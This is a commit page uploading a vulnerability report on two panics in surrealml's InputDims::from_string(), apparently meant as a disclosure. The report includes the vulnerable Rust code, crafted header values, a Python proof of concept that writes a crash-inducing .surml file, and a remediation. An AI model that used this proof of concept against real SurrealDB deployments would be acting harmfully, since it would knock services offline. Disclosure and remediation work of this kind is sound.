ryansecuritytest-fanpierlabs commited on
Commit
348abbb
·
verified ·
1 Parent(s): 4bbeb42

Upload 01-surrealml-input-dims-panic.md with huggingface_hub

Browse files
Files changed (1) hide show
  1. 01-surrealml-input-dims-panic.md +117 -0
01-surrealml-input-dims-panic.md ADDED
@@ -0,0 +1,117 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Multiple Panics (DoS) in InputDims::from_string() via Crafted .surml Header
2
+
3
+ ## Target
4
+ - **Repository**: https://github.com/surrealdb/surrealml
5
+ - **Component**: `modules/core/src/storage/header/input_dims.rs`
6
+ - **Affected function**: `InputDims::from_string()`
7
+
8
+ ## Vulnerability Type
9
+ - **CWE-248**: Uncaught Exception (Panic on untrusted input)
10
+ - **CWE-129**: Improper Validation of Array Index
11
+ - **Severity**: HIGH (DoS -- process crash on loading a crafted .surml file)
12
+
13
+ ## Description
14
+
15
+ The `InputDims::from_string()` function, which is called during `.surml` file parsing, contains two separate panic-inducing bugs when processing attacker-controlled header data:
16
+
17
+ 1. **`.unwrap()` on `parse::<i32>()`** (line 34): If the input dimensions field contains non-numeric data (e.g., `"abc,def"`), the `parse::<i32>().unwrap()` call will panic.
18
+
19
+ 2. **Out-of-bounds array index** (lines 35-36): The code accesses `dims[0]` and `dims[1]` without checking that the parsed vector actually has at least 2 elements. If the attacker provides a single value (e.g., `"42"` with no comma), `dims[1]` causes an index-out-of-bounds panic.
20
+
21
+ ## Vulnerable Code
22
+
23
+ **File**: `/work/surrealml/modules/core/src/storage/header/input_dims.rs`, lines 29-38
24
+
25
+ ```rust
26
+ pub fn from_string(data: String) -> InputDims {
27
+ if data == *"" {
28
+ return InputDims::fresh();
29
+ }
30
+ let dims: Vec<&str> = data.split(",").collect();
31
+ let dims: Vec<i32> = dims.iter().map(|x| x.parse::<i32>().unwrap()).collect(); // <-- PANIC 1: unwrap on parse
32
+ InputDims {
33
+ dims: [dims[0], dims[1]], // <-- PANIC 2: out-of-bounds if len < 2
34
+ }
35
+ }
36
+ ```
37
+
38
+ ## Attack Vector
39
+
40
+ The `.surml` file format stores a text-based header whose length is specified in the first 4 bytes. The header is delimited by `//=>` and the input dimensions field is the 10th segment (index 9). An attacker crafts a `.surml` file with a malicious input_dims field:
41
+
42
+ ### Trigger via parse failure:
43
+ Set the input_dims header segment to `"abc,def"` -- the `parse::<i32>().unwrap()` will panic.
44
+
45
+ ### Trigger via index out-of-bounds:
46
+ Set the input_dims header segment to `"42"` (single value, no comma) -- `dims[1]` panics on index access.
47
+
48
+ ### Exploitation path:
49
+ ```
50
+ SurMlFile::from_file("malicious.surml")
51
+ -> Header::from_bytes(header_buffer)
52
+ -> InputDims::from_string(buffer.get(9).unwrap_or(&"").to_string())
53
+ -> PANIC
54
+ ```
55
+
56
+ The function is also reachable via `SurMlFile::from_bytes()`, meaning any code that loads a `.surml` from network bytes (e.g., SurrealDB database import) is also affected.
57
+
58
+ ## Proof of Concept
59
+
60
+ A minimal malicious .surml file can be constructed as follows:
61
+
62
+ ```python
63
+ import struct
64
+
65
+ # Craft a header with a malicious input_dims field
66
+ # Header format: //=>[keys]//=>[normalisers]//=>[output]//=>[name]//=>[version]//=>[description]//=>[engine]//=>[origin]//=>[input_dims]//=>
67
+ header = b"//=>//=>//=>//=>//=>//=>//=>//=>//=>NOTANUMBER//=>"
68
+ # Alternatively for index OOB: header = b"//=>//=>//=>//=>//=>//=>//=>//=>//=>42//=>"
69
+
70
+ header_len = struct.pack(">I", len(header))
71
+ fake_model = b"\x00" * 10 # dummy model bytes
72
+
73
+ malicious_surml = header_len + header + fake_model
74
+
75
+ with open("crash.surml", "wb") as f:
76
+ f.write(malicious_surml)
77
+
78
+ # Loading this file in Rust will panic:
79
+ # SurMlFile::from_file("crash.surml") -> PANIC
80
+ # SurMlFile::from_bytes(malicious_surml) -> PANIC
81
+ ```
82
+
83
+ ## Impact
84
+
85
+ - **Denial of Service**: Any SurrealDB instance or application using SurrealML that loads an attacker-supplied `.surml` file will crash (process abort due to panic).
86
+ - **Availability**: Complete loss of availability if the `.surml` file is loaded as part of a server process (e.g., SurrealDB ML model import).
87
+ - **No user interaction**: The crash occurs automatically during file parsing.
88
+
89
+ ## Remediation
90
+
91
+ Replace the panicking code with proper error handling:
92
+
93
+ ```rust
94
+ pub fn from_string(data: String) -> Result<InputDims, SurrealError> {
95
+ if data.is_empty() {
96
+ return Ok(InputDims::fresh());
97
+ }
98
+ let dims: Vec<&str> = data.split(",").collect();
99
+ if dims.len() < 2 {
100
+ return Err(SurrealError::new(
101
+ "InputDims requires exactly 2 comma-separated values".to_string(),
102
+ SurrealErrorStatus::BadRequest,
103
+ ));
104
+ }
105
+ let dim0 = dims[0].parse::<i32>().map_err(|e| SurrealError::new(
106
+ format!("Failed to parse input dim 0: {}", e),
107
+ SurrealErrorStatus::BadRequest,
108
+ ))?;
109
+ let dim1 = dims[1].parse::<i32>().map_err(|e| SurrealError::new(
110
+ format!("Failed to parse input dim 1: {}", e),
111
+ SurrealErrorStatus::BadRequest,
112
+ ))?;
113
+ Ok(InputDims { dims: [dim0, dim1] })
114
+ }
115
+ ```
116
+
117
+ Note: The `Header::from_bytes()` function at line 190 also needs to be updated to propagate this error (currently calls `InputDims::from_string` which returns `InputDims` not `Result`).